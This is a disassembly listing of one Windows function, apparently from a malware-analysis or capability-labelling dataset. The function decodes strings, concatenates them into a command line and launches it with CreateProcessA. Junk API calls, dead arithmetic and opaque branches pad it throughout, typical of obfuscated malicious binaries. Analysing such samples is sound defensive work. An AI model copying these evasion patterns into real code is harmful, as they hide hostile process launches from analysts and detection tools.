Function at 0x4033ea
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov byte [ebp - 7], 0
movzx eax, byte [ebp - 7]
test eax, eax
je 0x40340b
movzx eax, byte [ebp - 7]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 7], al
movzx eax, byte [ebp - 7]
test eax, eax
je 0x403417
mov byte [ebp - 7], 0
movzx eax, byte [ebp - 7]
test eax, eax
jne 0x403423
mov byte [ebp - 7], 0
mov dword [ebp - 0x94], 0x432
push 0
push 0
call dword [sym.imp.GDI32.dll_GetBrushOrgEx]
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov dword [ebp - 0x4c], 0xdb
mov dword [ebp - 0x4c], 0xec
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0xac], 0x111
mov dword [ebp - 0xac], 0xb3
mov eax, dword [ebp - 0xac]
dec eax
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
add eax, 0x9e
mov dword [ebp - 0xac], eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov byte [ebp - 0x45], 0x1a
mov byte [ebp - 0x45], 0xe2
movsx eax, byte [ebp - 0x45]
dec eax
mov byte [ebp - 0x45], al
movsx eax, byte [ebp - 0x45]
add eax, 0x9f
mov byte [ebp - 0x45], al
mov word [ebp - 0x60], 0x6f
push 0
call dword [sym.imp.GDI32.dll_AbortDoc]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
mov dword [ebp - 0xc4], 0x568
mov byte [ebp - 0x135], 0
movzx eax, byte [ebp - 0x135]
test eax, eax
je 0x4034ef
movzx eax, byte [ebp - 0x135]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0x135], al
movzx eax, byte [ebp - 0x135]
test eax, eax
je 0x403501
mov byte [ebp - 0x135], 0
movzx eax, byte [ebp - 0x135]
test eax, eax
jne 0x403513
mov byte [ebp - 0x135], 0
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
and word [ebp - 0xe0], 0
mov byte [ebp - 0xbd], 1
movzx eax, byte [ebp - 0xbd]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0xbd], al
movzx eax, byte [ebp - 0xbd]
test eax, eax
jne 0x40355d
movzx eax, byte [ebp - 0xbd]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0xbd], al
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x40356f
mov byte [ebp - 0xbd], 1
movzx eax, byte [ebp - 0xbd]
test eax, eax
jne 0x403581
mov byte [ebp - 0xbd], 1
mov word [ebp - 0xa8], 0x95
push 0
call dword [sym.imp.GDI32.dll_GetColorSpace]
push 0x40124c
call fcn.00404d6f
pop ecx
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x20], 0x55
mov dword [ebp - 0x20], 0x6a
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
mov word [ebp - 0x130], 0xa9
push 0
call dword [sym.imp.USER32.dll_SetActiveWindow]
push 0x800
call fcn.004013bb
pop ecx
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov byte [eax], 0
mov byte [ebp - 0xc5], 0
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x40360d
movzx eax, byte [ebp - 0xc5]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0xc5], al
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x40361f
mov byte [ebp - 0xc5], 0
movzx eax, byte [ebp - 0xc5]
test eax, eax
jne 0x403631
mov byte [ebp - 0xc5], 0
mov byte [ebp - 0x8d], 0x23
mov byte [ebp - 0x8d], 0x77
movsx eax, byte [ebp - 0x8d]
dec eax
mov byte [ebp - 0x8d], al
movsx eax, byte [ebp - 0x8d]
add eax, 0xb7
mov byte [ebp - 0x8d], al
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push 0x40125c
call fcn.00404d6f
pop ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov word [ebp - 0x68], 0xa4
mov dword [ebp - 0x14], 0x8e6
push 0
call dword [sym.imp.KERNEL32.DLL_CancelIo]
push dword [0x406014]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
and word [ebp - 0x5c], 0
mov word [ebp - 0x44], 0xf1
push 0
call dword [sym.imp.USER32.dll_GetClipCursor]
push 0x401264
call fcn.00404d6f
pop ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov dword [ebp - 0x11c], 0x83f
mov byte [ebp - 6], 2
mov byte [ebp - 6], 0x36
movsx eax, byte [ebp - 6]
dec eax
mov byte [ebp - 6], al
movsx eax, byte [ebp - 6]
add eax, 0xbb
mov byte [ebp - 6], al
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push dword [ebp - 0xa4]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov word [ebp - 0x58], 0xa8
mov byte [ebp - 5], 0
movzx eax, byte [ebp - 5]
test eax, eax
je 0x40371f
movzx eax, byte [ebp - 5]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 5], al
movzx eax, byte [ebp - 5]
test eax, eax
je 0x40372b
mov byte [ebp - 5], 0
movzx eax, byte [ebp - 5]
test eax, eax
jne 0x403737
mov byte [ebp - 5], 0
push 0
call dword [sym.imp.GDI32.dll_FillPath]
push 0x401280
call fcn.00404d6f
pop ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov byte [ebp - 0x129], 0x17
mov byte [ebp - 0x129], 0x41
movsx eax, byte [ebp - 0x129]
dec eax
mov byte [ebp - 0x129], al
movsx eax, byte [ebp - 0x129]
add eax, 0xf6
mov byte [ebp - 0x129], al
mov byte [ebp - 0x51], 0
movzx eax, byte [ebp - 0x51]
test eax, eax
je 0x40379a
movzx eax, byte [ebp - 0x51]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0x51], al
movzx eax, byte [ebp - 0x51]
test eax, eax
je 0x4037a6
mov byte [ebp - 0x51], 0
movzx eax, byte [ebp - 0x51]
test eax, eax
jne 0x4037b2
mov byte [ebp - 0x51], 0
push 0
call dword [sym.imp.USER32.dll_GetClipCursor]
push dword [ebp - 0xa4]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov byte [ebp - 0x3d], 0x14
mov byte [ebp - 0x3d], 0xf2
movsx eax, byte [ebp - 0x3d]
dec eax
mov byte [ebp - 0x3d], al
movsx eax, byte [ebp - 0x3d]
add eax, 0x53
mov byte [ebp - 0x3d], al
mov byte [ebp - 0x35], 0
movzx eax, byte [ebp - 0x35]
test eax, eax
je 0x4037fb
movzx eax, byte [ebp - 0x35]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0x35], al
movzx eax, byte [ebp - 0x35]
test eax, eax
je 0x403807
mov byte [ebp - 0x35], 0
movzx eax, byte [ebp - 0x35]
test eax, eax
jne 0x403813
mov byte [ebp - 0x35], 0
push 0
call dword [sym.imp.GDI32.dll_FlattenPath]
push 0x401298
call fcn.00404d6f
pop ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov byte [ebp - 0x81], 0
movzx eax, byte [ebp - 0x81]
test eax, eax
je 0x403854
movzx eax, byte [ebp - 0x81]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0x81], al
movzx eax, byte [ebp - 0x81]
test eax, eax
je 0x403866
mov byte [ebp - 0x81], 0
movzx eax, byte [ebp - 0x81]
test eax, eax
jne 0x403878
mov byte [ebp - 0x81], 0
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x40389c
movzx eax, byte [ebp - 0x9d]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0x9d], al
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x4038ae
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
jne 0x4038c0
mov byte [ebp - 0x9d], 0
push 0
call dword [sym.imp.GDI32.dll_StrokeAndFillPath]
push dword [0x406020]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov dword [ebp - 0x118], 0x10a
mov dword [ebp - 0x118], 0x71
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
add eax, 0x16
mov dword [ebp - 0x118], eax
mov word [ebp - 0x128], 0xe
call dword [sym.imp.USER32.dll_GetCursor]
push 0x4012b4
call fcn.00404d6f
pop ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov word [ebp - 0x28], 0xb6
mov dword [ebp - 0x80], 0xb78
push 0
push 0
call dword [sym.imp.GDI32.dll_GetBrushOrgEx]
push dword [ebp - 0xa4]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov dword [ebp - 0x10], 0x118e
mov word [ebp - 0x134], 0xc0
push 0x4012c0
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push 0x4012c8
call fcn.00404d6f
pop ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov byte [ebp - 0x121], 1
movzx eax, byte [ebp - 0x121]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0x121], al
movzx eax, byte [ebp - 0x121]
test eax, eax
jne 0x4039bf
movzx eax, byte [ebp - 0x121]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0x121], al
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x4039d1
mov byte [ebp - 0x121], 1
movzx eax, byte [ebp - 0x121]
test eax, eax
jne 0x4039e3
mov byte [ebp - 0x121], 1
mov dword [ebp - 0xbc], 0x181
mov dword [ebp - 0xbc], 0x3e
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetThreadPriority]
push dword [0x406020]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov word [ebp - 0x34], 0xa3
mov word [ebp - 0x8c], 0x88
push 0
call dword [sym.imp.GDI32.dll_StartPage]
push 0x4012e0
call fcn.00404d6f
pop ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov word [ebp - 0x120], 0xad
mov word [ebp - 0x9c], 0xb0
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
call dword [sym.imp.GDI32.dll_AbortPath]
push dword [ebp - 0xa4]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov dword [ebp - 0x3c], 0x10d
mov dword [ebp - 0x3c], 0x49
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
mov word [ebp - 0x114], 0xc0
call dword [sym.imp.USER32.dll_GetCapture]
push 0x4012f4
call fcn.00404d6f
pop ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov byte [ebp - 0xb5], 0x33
mov byte [ebp - 0xb5], 0x50
movsx eax, byte [ebp - 0xb5]
dec eax
mov byte [ebp - 0xb5], al
movsx eax, byte [ebp - 0xb5]
add eax, 0x8a
mov byte [ebp - 0xb5], al
mov dword [ebp - 0xb4], 0x84a
push 0
call dword [sym.imp.GDI32.dll_PathToRegion]
push dword [ebp - 0xa4]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov dword [ebp - 4], 0x17a
mov dword [ebp - 4], 0xdd
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, 0x5f
mov dword [ebp - 4], eax
mov word [ebp - 0x50], 0x7a
push 0x1c4
push 0x18f
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
call dword [sym.imp.GDI32.dll_EndDoc]
push 0x401300
call fcn.00404d6f
pop ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov word [ebp - 0x88], 0x53
mov dword [ebp - 0x64], 0x1e0
mov dword [ebp - 0x64], 0xd1
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
push 0
push 0
call dword [sym.imp.GDI32.dll_GetBrushOrgEx]
push 0
call dword [sym.imp.GDI32.dll_StrokeAndFillPath]
push dword [ebp - 0xa4]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov dword [ebp - 0xb0], 0x1ab
mov dword [ebp - 0xb0], 0xb3
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x403bd7
movzx eax, byte [ebp - 0x95]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0x95], al
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x403be9
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
jne 0x403bfb
mov byte [ebp - 0x95], 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push 0x401318
call fcn.00404d6f
pop ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov dword [ebp - 0x24], 0x85c
mov dword [ebp - 0x30], 0xf7
mov dword [ebp - 0x30], 0xe9
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
add eax, 0x6d
mov dword [ebp - 0x30], eax
push 0
call dword [sym.imp.GDI32.dll_GetColorSpace]
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x110]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x18]
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov word [ebp - 0xc], 0x8c
mov dword [ebp - 0x1c], 0x14f3
call dword [sym.imp.GDI32.dll_GdiGetBatchLimit]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x140], eax
push dword [ebp - 0x140]
call fcn.004013a4
pop ecx
mov dword [ebp - 0x2c], 0xd46
mov byte [ebp - 0x79], 0
movzx eax, byte [ebp - 0x79]
test eax, eax
je 0x403cac
movzx eax, byte [ebp - 0x79]
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0x79], al
movzx eax, byte [ebp - 0x79]
test eax, eax
je 0x403cb8
mov byte [ebp - 0x79], 0
movzx eax, byte [ebp - 0x79]
test eax, eax
jne 0x403cc4
mov byte [ebp - 0x79], 0
push 0
call dword [sym.imp.GDI32.dll_FillPath]
leave
ret